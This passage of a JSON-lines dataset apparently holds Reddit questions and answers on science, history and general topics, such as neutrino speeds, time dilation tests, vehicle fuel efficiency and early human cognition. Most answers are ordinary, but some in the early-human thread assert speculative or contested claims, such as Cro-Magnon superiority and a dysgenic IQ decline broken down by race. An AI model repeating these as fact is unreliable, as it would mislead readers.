(neutrinos), and generically it is reasonable to expect particles to interact roughly at least weakly through loop diagrams or Higgs exchange, since the Higgs will generically mix with any Higgs giving mass to dark matter particles in a hidden sector. \n\n4) If dark matter only interacts gravitationally, then we probably won't be able to detect it. This might seem like a \"blind spot,\" but physicists aren't stupid, they just like to work on stuff that is falsifiable, and currently we still have lots of experiments that could find dark matter if it interacted more than gravitationally."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Hierarchy_problem"]]}
{"q_id": "39s10w", "title": "What factors dictate the optimal speed (most fuel efficient speed) of vehicle? How does one find what this speed is?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/39s10w/what_factors_dictate_the_optimal_speed_most_fuel/", "answers": {"a_id": ["cs63913"], "score": [5], "text": ["A big one is aerodynamic drag. Drag force increases with the square of velocity. The power to overcome drag increases with the cube of the velocity. So at high velocities a lot of the inefficiency is due to energy losses from drag. Other friction also happens in many places in vehicles, but is usually much smaller than aerodynamic drag. [Here's a graph I found using Google.](_URL_1_) **Just considering drag and friction, the optimal speed of a vehicle would be very slow.**\n\nHowever, there is also the efficiency of the engine to worry about. Something in the vehicle is converting stored or collected energy into mechanical energy. The efficiency of that is not constant. [Here's another graph.](_URL_2_) It indicates that the efficiency of this engine is a function of both the torque and engine RPM. When you're driving a car at constant velocity, the torque on the engine is caused by that outside drag discussed earlier. The RPM is due to the velocity of the car, converted with gears of certain tooth ratios. Gear ratio is important to determine where you'll land on that graph. Also, different engines work in different ways. An internal combustion engine is going to be most efficient at a different speed than an electric engine. **Just considering engine efficiency, the optimal speed of a vehicle is probably a moderate speed**\n\nSo the overall fuel efficiency of a vehicle is related to a number of factors, each of which scales differently as you increase the vehicle velocity. It's certainly something you could determine an approximate answer for analytically, but it's complicated. A better method might be to just do it experimentally. [Here's another graph.](_URL_0_) The bumps in the graph could be due to a number of things. Gear changes, for one. Also funny behaviour in the aerodynamic flow around the car, that happen at certain speeds.\n\nedit: changing a few words"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://b-i.forbesimg.com/anthonykosner/files/2013/12/mpg-vs-speed-automatic.jpg", "http://www.sheldonbrown.com/rinard/aero/grafik2.gif", "http://techno-fandom.org/~hobbit/cars/ornl-motor-efficiency.gif"]]}
{"q_id": "e0ajt9", "title": "what does it's on the house mean?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e0ajt9/eli5_what_does_its_on_the_house_mean/", "answers": {"a_id": ["f8cvui2"], "score": [2], "text": ["It means the company is giving it to you for free. The \u201chouse\u201d is the company, whether that\u2019s a restaurant or bar or casino. It\u2019s most used to refer to complimentary drinks or meals."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "71p52m", "title": "Have we physically measured time dilation in a real time experiment before?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/71p52m/have_we_physically_measured_time_dilation_in_a/", "answers": {"a_id": ["dncig4u", "dncizk2", "dncjswo", "dnczq7m"], "score": [31, 29, 14, 6], "text": ["Yes, there have been experiments with planes carrying highly accurate atomic clocks being flown around. Upon arrival, the difference in time on the onboard clock and the ground clock matched what was predicted.\n\nIn addition, satellites that have highly time-sensitive functions are being corrected for the effects of time dilation. An example would be the GPS satellites. GPS is as accurate as it is because the time dilation experienced by these satellites is very close to the amount of correction being applied.", "[This guy](_URL_0_) loaded a few atomic clocks into his minivan, brought them on a camping trip into the mountains, and successfully measured the slight difference gravitational time dilation caused by being at a higher elevation than another atomic clock back at home.", "As is often alluded to, GPS satellites need to make regular corrections to account for both general relativistic (the large effect) and special relativistic effects like so:\n\n_URL_0_", " > Have we physically measured time dilation in a real time experiment before?\n\nNaaah, we're just bullshittin' you!   < 3\n\nIn all seriousness though, yes, we have measured time dilation in many, many experiments, in every form, and a basic list of important experimental tests of time dilation is available in three different sections of the [Wikipedia article on time dilation](_URL_0_):\n\n[Experimental testing of velocity time dilation](_URL_0_#Experimental_testing)\n\n[Experimental testing of gravitational time dilation](_URL_0_#Experimental_testing_2)\n\n[Experimental testing of the combined effect of velocity and gravitational time dilation](_URL_0_#Experimental_testing_3)\n\nYou can also find many other experiments in the articles on [Tests of special relativity](_URL_2_) \u00a7 [Time dilation and length contraction](_URL_2_#Time_dilation_and_length_contraction) and [Tests of general relativity](_URL_1_).\n\nDo keep in mind though that there are a great many other experimental tests not listed here.  You just have to dig through peer-reviewed journals (many of which are behind a paywall unfortunately) to find them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.leapsecond.com/great2005/"], ["https://upload.wikimedia.org/wikipedia/commons/3/36/Orbit_times.svg"], ["https://en.wikipedia.org/wiki/Time_dilation", "https://en.wikipedia.org/wiki/Tests_of_general_relativity", "https://en.wikipedia.org/wiki/Tests_of_special_relativity", "https://en.wikipedia.org/wiki/Tests_of_special_relativity#Time_dilation_and_length_contraction", "https://en.wikipedia.org/wiki/Time_dilation#Experimental_testing_3", "https://en.wikipedia.org/wiki/Time_dilation#Experimental_testing_2", "https://en.wikipedia.org/wiki/Time_dilation#Experimental_testing"]]}
{"q_id": "217wg7", "title": "Were slaves really transported like this?", "selftext": "_URL_0_\n\nObviously slaves were transported in bulk and in ships, but were they really stuffed so closely together, in such a vast amount? It can't be practical, can it? Obviously it was to utilize all space to maximum productivity for a long, long voyage. But I mean, it's like 200 slaves stuffed together like this.\n\nTL;DR: Question is: were the ships filled up to the brim like the illustration shows, or is it an illustration of how much room can be used?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/217wg7/were_slaves_really_transported_like_this/", "answers": {"a_id": ["cgagm3x"], "score": [15], "text": ["The captains basically saw two ways to pack slaves. One way was to transport fewer slaves than the ship could actually carry in hopes of reducing the disease and deaths among slaves, this was called \"loose packing\". The other that you inquire about was the cruel way, \"tight packing\". This way meant that the slaves were packed very tightly in order to fill the whole ship. They were tied ankle to wrist and crammed into the smallest spaces. The idea behind this was that the more slaves a ship had, the more profit they could make. The ships's smell was appalling and in the worst case scenario the slaves were not provided with any kind of hygiene. This would lead to more deaths and actually would not work as well as they thought."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/BO4kgHO.jpg?1"], "answers_urls": [[]]}
{"q_id": "4ib1cp", "title": "I've often heard Jupiter referred to as a \"failed star.\" Is this a fair representation? How close in terms of mass was it to actually becoming a star?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4ib1cp/ive_often_heard_jupiter_referred_to_as_a_failed/", "answers": {"a_id": ["d2wlbca"], "score": [37], "text": ["Not really. The minimum mass required to fuse hydrogen is about 80 times the mass of Jupiter, which is generally considered the lower bound of what a star is. For it to fuse deuterium, it has to be about 13 times the mass of Jupiter, and objects in this range are called brown dwarves. So, it's not like just a little bit more material would make Jupiter a star."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "av05ju", "title": "what is resource-based economy and is it realistic?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/av05ju/eli5_what_is_resourcebased_economy_and_is_it/", "answers": {"a_id": ["ehbn8py"], "score": [9], "text": ["I assume you mean this:\n\n\" In a Resource Based Economy all goods and services are available to all people without the need for means of exchange such as money, credits, barter or any other means.\"\n\nAnd not the more mundane idea of a national economy that's dependent on one natural resource (e.g. Saudi Arabia and oil). \n\nThe answer is no, it's not realistic. The basic thesis as far as I can make it out is that technology is good enough today to run a post-scarcity economy, or as I prefer to call it \"Luxury Space Communism\", after the apparent economic system in Star Trek. The main issue here is that Star Trek needed to invent a lot of fanciful technology (basically, a machine that produced massive amounts of energy for free and another machine that could turn energy into any form of matter) for that to work. \n\nThe world is currently not post-scarcity. Even in the richest countries in the world, there are huge conflicts about whether the poorest are at a reasonable standard of living. Start spreading that around to the entire planet, and you'll probably need to start taking resources *away* from the people who are considered unconscionably poor in places like America. Trying to run an economy with without prices or other market-based methods of rationing scarce resources would cause a default to the classics: waiting in line hoping the resource bank doesn't run out, hoarding, and violence. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3mbxsy", "title": "What is the oldest \"message for the future\" that we know of?", "selftext": "What is the oldest message known (of any kind) which has been maded by someone in order to communicate  with other human beings in the future?\n\nEdit: grammar", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3mbxsy/what_is_the_oldest_message_for_the_future_that_we/", "answers": {"a_id": ["cvexwg1"], "score": [2], "text": ["Well the very first lines of Herodotus' \"The Persian Wars\"  440b.c. says this:\n\n\"These are the researches of Herodotus of Halicarnassus, which he\u00a0publishes, in the hope of thereby preserving from decay the remembrance\u00a0of what men have done, and of preventing the great and wonderful actions\u00a0of the Greeks and the Barbarians from losing their due meed of glory; and\u00a0withal to put on record what were their grounds of feuds.\"\n\nSo that's clearly a message to the future. Thucydides says something similar about analysis of events.\n\nBut it could be argued that all art is also a message to the future. The Iliad, the epic of Gilgamesh, Egyptian mythology are works of art that have deep philosophical questions and answers within. To go even further back in time, some cave paintings could've been made out of boredom or experimentation ( dots patterns of prints etc) but there are some that clearly depict \"a scene\" or multiple scenes conveying a story. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2nl5p6", "title": "How have wars with large losses (WW1 for example) affected the gene pools of each corresponding country?", "selftext": "I assume losing millions upon millions would leave a mark on the genepool, given that the armies dictated physical parameters for soldiers.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2nl5p6/how_have_wars_with_large_losses_ww1_for_example/", "answers": {"a_id": ["cmfqm6w", "cmfud3q"], "score": [2, 4], "text": ["Very cool question! \n\nI can't find anything specifically related to war losses, but I did manage to dig up a study that claims that the Black Death pandemic, which killed at least a quarter of Europeans, \"[did not] generate sufficient selective pressure to drive a [HIV] resistance allele to 10% frequency [in European populations]\" ([Ref](_URL_0_)).", "One place to study might be Paraguay. They lost a very large proportion of their male population in an absolutely ruinous war in the 1930s. Polygamy was legalized for several years in an effort to rebuild."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.pnas.org/content/100/25/15276.full"], []]}
{"q_id": "oyff2", "title": "Could one of the first ever Homo Sapiens learn the same amount and same quality of information as a modern Homo sapien? ", "selftext": "Does one of the first Homo sapiens have the same cognitive ability of modern Homo sapiens? Is what we know now simply collective knowledge that has been added on to each other or have we as a species gained the ability to learn more than our Homo sapien ancestors from 20 to 30 thousand years ago?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/oyff2/could_one_of_the_first_ever_homo_sapiens_learn/", "answers": {"a_id": ["c3l1x94", "c3l21a7", "c3l28sj", "c3l2cdv", "c3l2knl", "c3l2scd", "c3l30eb", "c3l3g0d", "c3l3rpt", "c3l4ha4", "c3l4nqt", "c3l4uzl", "c3l5898", "c3l58sg", "c3l6k6l"], "score": [2, 8, 220, 4, 6, 19, 32, 37, 8, 7, 2, 2, 3, 2, 2], "text": ["After watching the Incredible Human Journey documentary online just a few days ago I was actually going to ask the exact same thing.  More to the point: if the infant of an early modern human were transplanted in time to a modern family, could it grow up like a normal child?", "I would say this question is practically unanswerable because there is no 'first' homo sapiens.  We use those words to draw a clear black/white through the flowing grey of evolution, but it is only to make it easier for us to understand.  In modern society some folks can learn more than others right now, and so can some chimpanzees.  So, it would stand to reason that there is a scale of learning abilities in our early protoselves, and well as in any other species.  Since we're only 1% greater than chimps, DNA wise, we can say that we haven't changed all that much.  So, for the first few dozen generations of homo sapiens, I doubt it would be wrong to say that their smartest could learn at least as much as our current dumbest, if not more. ", "This question is sort of confusing, but I'll give it a shot:\n\nFirst of all, we would need to define what we mean by Homo sapiens. Some researchers consider Homo to have only one species (e.g. Milford Wolpoff, Alan Mann), because they don't see any evidence for any speciation events in the fossil record. A more mainstream view is that Homo sapiens arose about 200k years ago, but this is mostly based on the Omo skull, which looks basically (but not quite) modern and has been dated to 195k. Genetic coalescence times suggest that this time range could be accurate (however, there are good reasons to suppose that these data don't actually tell us what many researchers think they do). \n\nCladistically, the origin of a species is defined by an event in which a species branches into two. There is a great amount of disagreement regarding what our sister species was. Homo erectus, Homo heidelbergensis, and Homo neanderthalensis all have supporters. So, maybe there was a split from one of these 200k years ago (of course, we now know that humans later mated with neandertals after maybe a couple hundred thousand years of reproductive isolation from each other).\n\nSo, the question is whether the cognitive capabilities of those folks 200ka would have been similar to our own. That's a question that doesn't really have a great answer, but there's not necessarily any reason to suppose that their abilities would have been significantly different from our own. Their brains were similar in size, and near as we can tell, were similar in structure.\n\n20 to 30 thousand years ago, it is basically certain that they were just as smart; note, however, that IQ is very fluid, and is very much something that can be improved through use. They didn't have written language back then, so it's unlikely they would have been \"smart\" in the same way today's humans can be; they only would have been perfectly capable given the same cultural environment.\n\nHopefully that helps. Also note that \"sapiens\" is both singular and plural. \"sapien\" is improper. ", "The nature of adaptive radiation produces patterns whereby a powerful novel trait spreads rapidly as the new population expands to dominate its niche. Rather than a slow gradual change, we find more often that species evolve rapidly towards equilibrium with their environment. I believe that many would agree that agricultural society was the turning point in Homo Sapien evolution, and if you believe that we radiated outwards from there (and the archaeological evidence would agree) then its possible that humans stayed relatively similar past this point.\n\nHowever, one might question whether the industrial and technological revolutions had any effect on selecting for intelligence in a subpopulation of humans.", "Homo sapiens is singular. (The plural, if Latin species names were ever pluralized [which they're not], would be Homines sapientes.) There is no such thing as a Homo sapien.", "Are you asking if you got a newborn child and raised it as a modern human, would it have the same intellectual capabilities?\nSay a situation where you clone an early human?", "[The Man from Earth](_URL_0_) is an interesting sci-fi about a man who claims to be an immortal from the Cro-Magnon age. It was a little corny in the first 20 minutes but really pulled me in by the end. I would definitely check it out if you're interested in this question as it is one of the central discussions in the movie. Of course, it's just a movie but I found it to contain some very logical discussion on the topic.\n\n", "Species don't discretely jump from one to another. They slowly evolve. There is no such thing as the \"first\" Homo Sapien because that would imply that his or her parents were of a different species. It's kind of like a probability density function. The probability of any fixed number is invariably zero.", "I am going to go against the grain and say no. There have been considerable evolutionary pressures on the various human populations over the last couple hundred millennia that have honed our analytical, language and other cognitive skills. Read Sagan's \"Broca's Brain\" and similar works that argue for parallel development of different areas within the brain as a result of each other (language skill development as a result of our manual dexterity and opposable thumbs, for example). \n\nIn particular, the evolutionary pressures we endured though multiple ice ages are a good example of how our intelligence has likely been honed even within the last 25-50,000 years.", "Easier than us, since they were likely more intelligent, talking about Cro Magnons at least.\n\nPlenty of sources, here's a relaxing read:\n\n_URL_0_\n\nHowever:\n\n >  Although previous studies have found a very small relationship between brain size and intelligence, many other factors affect brain intelligence.\n\nThen again...yeah, right... ;) We're talking 15-20% size difference here. That's a notable difference on the encephalisation scale, which I wouldn't start criticising here, since were talking about a purely human comparison. \n\nThe trick in refuting the citation is that scientists generally say Australopithecus and other ancestors were less intelligent because of smaller brain sizes, and that as brain size increased so did their general intelligence. The same must hold true for Cro Magnon and us then.\n\nThere is no doubt in my mind that, individual vs individual, Cro Magnons were mentally and physically superior to us, and on top of that, probably better looking as well. ", "I think one of the most dangerous things a person can do is assume they are any different from those that proceeded him or her. Yes, yes I do. Genetically there is no difference.", "There is some hinting in this thread of the potential for humans to continue to evolve in the direction of intelect. However, evolution doesn't mean moving toward a more 'ideal' species. It simply means change driven by genetic fitness, or ability to survive and reproduce. While thousands of years ago, having the genetic framework to comprehend language, cooperate, or perform creative problem solving meant you would survive longer and theoretically reproduce more than your peers, today, having a greater cognitive capacity than your neighbor does not make you more evolutionary fit, or, more likely to produce offspring. Unfortunately, it seems as though in modern society, having greater intelligence is a negative selecting factor. Those who pursue careers in academia (who we can assume are more likely to have higher IQ's) are LESS likely to have children and tend have children later in life, thereby decreasing the amount of offspring they have.  This is especially true in the last 100 years as women are increasingly entering academic fields such as medicine. Therefore, many scientists believe that our IQ is declining over generations: \n\n\"Meisenberg (2010) found that intelligence in the US was negatively related to the number of children, with age-controlled correlations of \u2212.156, \u2212.069, \u2212.235 and \u2212.028 for White females, White males, Black females and Black males. This effect was related mainly to the general intelligence factor and was caused in part by education and income, and to a lesser extent by the more \"liberal\" gender attitudes of those with higher intelligence. Without migration the average IQ of the US population will decline by about 0.8 points per generation.[22]\"\n_URL_0_\n\nIn other words, we're doomed. \n\nTheres a great movie about this where a guy from the past is brought into the future and everyone is hilariously stupid. I can't remember the name.", "As one point of reference, St. Augustine was considered a genius because he could read without mouthing the words.\n\nAs much as we like to hate on our current educational system, the vast majority of Americans are geniuses by this definition.\n\n(_URL_0_)", "Probably not. In fact, even within the last century or so, people seem to be getting smarter -- at least in terms of doing better year over year on standardized IQ tests in the time that those have existed (although of course there are various intrinsic issues there, but I still think the basic finding is essentially sound).\n\nIn many ways this stands to reason. Modern humans are much healthier physically, taller, live longer, etc., due to advances in medicine, better food, childcare techniques, and so forth. It stands to reason that mental improvements would go along with these factors, given that malnutrition and such have cognitive effects too.\n\nGranted, that's on average. But just as there were SOME pretty healthy and long-lived people as far back as we have reliable history (and probably longer) even though the average was worse, it may be that a prehistoric genius was on par with smart people today. But the average IQ was probably a fair bit lower, even if the genome wasn't terribly different from ours today.\n\nSource: PhD in neuroscience, current professor in psychology, though this is coming off the top of my head from \"general\" knowledge so I don't have real sources directly at hand.", "I'd just like to suggest a few point to this discussion. It appear to me that a lot of people here are confusing culturally learned information with intelligence. [From what I understand of the fossil record, our ancestors, at least 15-20,000 years ago had a brain capacity 15-20% larger than our own](_URL_1_). Now, it can be argued that this is not a true indicator of intelligence, and perhaps we should look at the cultural remnants of our ancestors to determine their innate intelligence, but I would suggest this would be a measure of the social sophistication of the species, not the actual intelligence of any one individual within said society. \n\nThat said, the dating of these individuals with larger brains, Cro Magnon man, ties in with the '[great leap forwards'](_URL_3_) which occurred around 50,000 years ago, where suddenly we see cultural diversification occurring at a rate which suggest behavioural modernity. Additionally, we must remember that these were the people who effectively made the break from primitive tribal societies to a more modern way of living. Dare I say it, it is possible that these early people were actually more intelligent (in some way) than us, and that we have since domesticated ourselves to a certain degree meaning we do not have quite the same pressure on us to maintain massive brains. We see the same happen with the change between ancestral wolves and dogs for example. [However, what confounds this issue still further is the fact that modern dogs have abilities and a nature much more suited to life with humans than ancient wolves, such as their ability to 'read' human body language more effectively than our cousins the chimpanzees can](_URL_2_). This is not obvious from the fossil record\n\nThus, we do see a shrinkage in the brain size of dogs since domestication, but also an increase in 'intelligence' as regards their new role in the world, in some ways perhaps they are less intelligent than their ancestors, and in some more so. One thing I don't see suggested in the literature is that our ancestors may have been more intelligent than us in terms of raw problem solving power, but may have lagged behind us in specific skills, for example, language or social understanding (as their social groupings were far more simple than ours these days). Given this, I would suggest that in some ways they were bigger, faster, stronger and more intelligent than us, and that we, specifically upon the advent of agriculture, changed our environment so dramatically, that we have in some ways 'lost' some of our early intelligence. [You see this as well in the fossil/ archeological record, early farming communities show higher incidence of disease \\(population density\\) and malnutrition (poor selection of foods available)](_URL_0_).\n\nNow, I can't find the link for this so provide it anecdotally, but I believe the ancient Daoist sages of China noted a decay in the standard of living as farming took hold, which is why the ancients on the path of the immortals used to avoid grain and suchlike and live on mountains, at least for a while. They perceived the beginnings of modern society to be a step back from what they saw as our 'true nature'....I used to think this a strange perspective, but it appears to match the archeological record mentioned above. (Please note, I know I'm just speculating and randomly drawing a parallel here in this paragraph, please read it as such).\n\nAll this leads me to wonder, maybe, if ever I were to sit around with our ancient ancestors 30,000 years ago, though I may be full of culturally interesting facts and knowledge, perhaps I would seem like a sickly member of their tribe to them in other regards. Smaller, slower mentally and physically and such.... As I say, in some ways perhaps I would be their inferior. It doesn't chime well with my intrinsic human vanity that we are the pinnacle of all our species has ever been, but yet still I wonder.... \n\nEDIT: I've just realised I'm talking about the first anatomically and culturally modern Homo sapiens vs. us as we currently are. If one is to discuss the first ever anatomically modern Homo sapiens against us, then my argument would differ considerably... stil, I hope you see what I meant ;).    "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://www.imdb.com/title/tt0756683/"], [], [], ["http://www.physorg.com/news187877156.html"], [], ["http://en.wikipedia.org/wiki/Fertility_and_intelligence"], ["http://www.stanford.edu/class/history34q/readings/Manguel/Silent_Readers.html"], [], ["http://en.wikipedia.org/wiki/Neolithic_Revolution#Consequences", "http://www.physorg.com/news187877156.html", "http://harvardmagazine.com/2003/03/best-friend-bests-chimp.html", "http://en.wikipedia.org/wiki/Behavioral_modernity#Timing"]]}
{"q_id": "42nn1i", "title": "When supernovas occur, the neutrinos reach us before the light does - but neutrinos have mass, and therefore cannot travel at exactly c. Why wouldn't the light catch up to and pass the neutrinos before they reach us?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/42nn1i/when_supernovas_occur_the_neutrinos_reach_us/", "answers": {"a_id": ["czbop62", "czbvzxz"], "score": [34, 12], "text": ["Neutrinos from supernovas have around 20 MeV of energy. Assuming an average mass of 0.2 eV (reasonable) gives a gamma factor of\n\n\u03b3 = E/m = 10^7\n\nThe beta factor is\n\n\u03b2 = v/c = sqrt( 1 - 1/\u03b3^2 ) ~ 1 - 1/(2\u03b3^(2)) = 1 - 0.5 * 10^-14\n\nThat means that in an X long trip neutrinos lag behind photons by around 10^-14 times X. So very small but in principle measurable delay...\n\nHowever, neutrinos and photons in supernovas are *not* emitted at the same time. Neutrinos can arrive to Earth hours before the photons. Please read [here](_URL_0_)", "What you're looking for here is the Lorentz factor, or gamma. Which is a measure of relativistic effects at high speeds, it's:\n\n    gamma = 1/sqrt(1 - v^2 / c^2 )\n\nHow is this relevant? It'll make sense in a moment. So, neutrinos have a rest mass of less than 1 eV, yet neutrinos generated in a Type-II supernova have energies of several MeV, that's a factor of 1 million to 1, which translates to a gamma or Lorentz factor of around 1 million. From that you can estimate the speed of the neutrinos: of about 0.9999999999995c, or about half a part per *trillion* slower than light.\n\nThe most notable supernova we've detected neutrinos from is SN1987A, which happened 168 thousand light years away. Half of one trillionth of 168 millenia is slightly less than 3 seconds. So you'd expect neutrinos with a gamma factor of one million to take 3 seconds longer to travel 168kly than light would.\n\nHowever, neutrinos are emitted from supernova earlier than the light is. This is because the neutrinos are unhindered by the matter surrounding them, as soon as they are created they travel at near light speed in all directions. In contrast, the light and heat generated deep inside the supernova explosion takes a while to reach the surface, giving the neutrinos a head start.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.google.it/url?sa=t&amp;source=web&amp;rct=j&amp;url=http://physics.stackexchange.com/questions/88541/the-delay-between-neutrinos-and-gammas-in-a-supernova-and-the-absolute-mass-sca&amp;ved=0ahUKEwiw9O258MXKAhVGHw8KHaj8BYwQFggbMAA&amp;usg=AFQjCNE9BFzk0sfFcBwk5rLTed-8ewYg4w&amp;sig2=77-1vDlvSTikm0s0qO3plg"], []]}
{"q_id": "fkfiq", "title": "Can you tell me what plant/fruit this is?", "selftext": "I am new to Reddit and I asked this question on AskReddit and the link did not show up. So I though I would try it on AskScience. \nMy dad planted lots of fruit trees a while ago and this one just bore some fruit. We can't seem to figure out what kind of fruit it is though.\n\nHere is what the fruit looks like:\n_URL_4_ \n_URL_1_ \n_URL_3_\n\nHere is the plant: \n_URL_0_ \n_URL_2_\n\nIt looks like it could be from the kiwi family. I'm just not sure what it is. I'm scared to taste it.\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/fkfiq/can_you_tell_me_what_plantfruit_this_is/", "answers": {"a_id": ["c1gl9ib"], "score": [3], "text": ["That looks like a Melon Pear aka Pepino Dulce. You can eat it, it should be sweet, and taste like Melon."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/2MQqn.jpg", "http://i.imgur.com/S0CVT.jpg", "http://i.imgur.com/4N1gx.jpg", "http://i.imgur.com/89UDj.jpg", "http://i.imgur.com/1bGlg.jpg"], "answers_urls": [[]]}
{"q_id": "bt0wbx", "title": "Is there a measurement scale for stickiness?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/bt0wbx/is_there_a_measurement_scale_for_stickiness/", "answers": {"a_id": ["eot955w", "eoukwri", "eououpr"], "score": [358, 7, 3], "text": ["The technical term would be \"tack\" or \"tackiness\".\n\nMeasurement is force per unit area, in case of tensile tack.\n\nGenerally used with viscoelastic materials, whose properties are often affected by shear rate.  So, tack can depend on the properties of the substrate(s), the adhesive(s), geometry, and the rate at which they are pulled apart.", "Tackiness is used when contractors lay asphalt pavement. They spray a layer of asphalt tack, aka liquid tar, between layers of asphalt.  It bonds the asphalt so it won't slip between layers. The mix for this tack has to meet standards.", "\"Stickiness\" is relative and can only be measured between 2 materials. For example, if you try to measure how sticky glue is, it depends if you apply it on an oiled piece of metal or on a dry piece. In physics there is a value that determines the friction between a body and a surface or another body (both being solid materials). The friction force equals \u00b5 times the normal force. That \u00b5 is how sticky those 2 materials are between each other in those conditions. For example, if you try to pull a wooden crate on asphalt, \u00b5 will be higher (it will stick harder) than if you try to pull the same crate on ice."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3yek5h", "title": "why has tiger woods gone down in golfs world ranking so much these past years.what factors have caused this?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3yek5h/eli5why_has_tiger_woods_gone_down_in_golfs_world/", "answers": {"a_id": ["cycrjo7", "cyd89n4"], "score": [27, 2], "text": ["The direct answer is pretty simple - he's not winning as much. But there's a number of reasons behind this.\n\nFor one, talent is not perfectly reliable. It comes and goes as time passes. Tiger isn't golfing as consistently and as effectively as everyone else, due to a combination of age, injuries - he's lost a fair amount of course time - and possibly some of the distracting screw-ups in his personal life. \n\nA big factor is that other golfers in general are a lot better. A natural talent could go out there and win in the days before Tiger. When he came along, they realized they had to PRACTICE and had to get the best gear and so forth, so they worked at improving their own talent a lot harder. As a result, the field of competition is much stronger than before. ", "cause he isnt that great at golf now! The real question is \"why does tiger woods suck at golf now?\" The answer to that is probably very complicated and related to his divorce, sex addiction, depression maybe, who knows really. No one can be great at a thing for their entire lives."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "wuxal", "title": "Question about unofficial first contacts in the New World", "selftext": " I find the topic of first contacts with the various groups of Native Americans to be pretty fascinating, and have been researching it for some time. \n\n Besides Columbus, there's a lot of literature on things like official explorations of the Americas sponsored by the different European states, conquistadors, and so on. It's easy to research the travels of De Soto, Cabot, Cabral, and others who are considered the \"discoverers\" of different areas of the New World. \n\n However, I repeatedly come across intriguing clues that these \"discoverers\" weren't the first Europeans to explore the areas they're given credit for. For example, regarding the discovery of Florida (my current focus) I read this in the article about [Ponce de Leon](_URL_0_):\n\n > Although Ponce de Le\u00f3n is widely credited with the discovery of Florida, he may not have been the first European to reach the peninsula. Spanish slave expeditions had been regularly raiding the Bahamas since 1494 and there is some evidence that one or more of these slavers made it as far as the shores of Florida.\n\n There are also anecdotes of native americans who could already speak Spanish when de Leon first arrived in Florida. So my question is are there any good resources or knowledge you might have pertaining to these unofficial prediscoveries? Thanks!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/wuxal/question_about_unofficial_first_contacts_in_the/", "answers": {"a_id": ["c5gvlu2", "c5gxnt5"], "score": [2, 5], "text": ["*Language Contact across the North Atlantic* discusses possible precolumbian contacts between North American indigenous peoples and English and Basque explorers.", "The only uncontroversial instance of Europeans arriving in America before Columbus is [l'Anse-aux-Meadows](_URL_0_), at the northern tip of Newfoundland, where archaeologists Helge Ingstad and Anne Stine Ingstad excavated a Norse settlement dating to c1000 CE.  Two Norse settlements also existed in Greenland from c986 to c1410.  Two medieval sagas, written centuries after the events from oral tradition, document the Norse exploration and settlement of Greenland and \"Vinland\", the location of which remains controversial.  The sagas describe contact, mostly hostile, between the Norse and the native \"skraelings\".\n\nBasque, Portuguese, Breton and English fishermen were aware of the [Grand Banks of Newfoundland](_URL_1_) from the end of the 15th Century, and possibly before Giovanni Caboto's voyages. \n\nBasque whalers were also active in the Gulf of St. Lawrence before it was settled by Europeans, and some places retain Basque names. \n\nThomas Aubert sailed to America in 1508 and returned to Dieppe with seven natives, their weapons and their canoes.\n\nBy the time of Jacques Cartier's voyage of 1534, he knew he could sail due West, and he crossed the Atlantic in only 20 days.  He arrived in the bustling fishing post of St. John's before exploring the Gulf and making contact with natives.  After his voyage of 1535-36, Cartier brought natives back to meet the King of France.  The stories of Cartier's voyages are a good read if you are interested in initial contact between Europeans and aboriginal Americans.\n\nOf course, by that time the Spanish were well established in the Carribean, Mexico and South America, and there is much to read on that topic as well."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Juan_Ponce_de_Le%C3%B3n#First_voyage_to_Florida"], "answers_urls": [[], ["http://www.pc.gc.ca/eng/lhn-nhs/nl/meadows/index.aspx", "http://en.wikipedia.org/wiki/Grand_Banks_of_Newfoundland"]]}
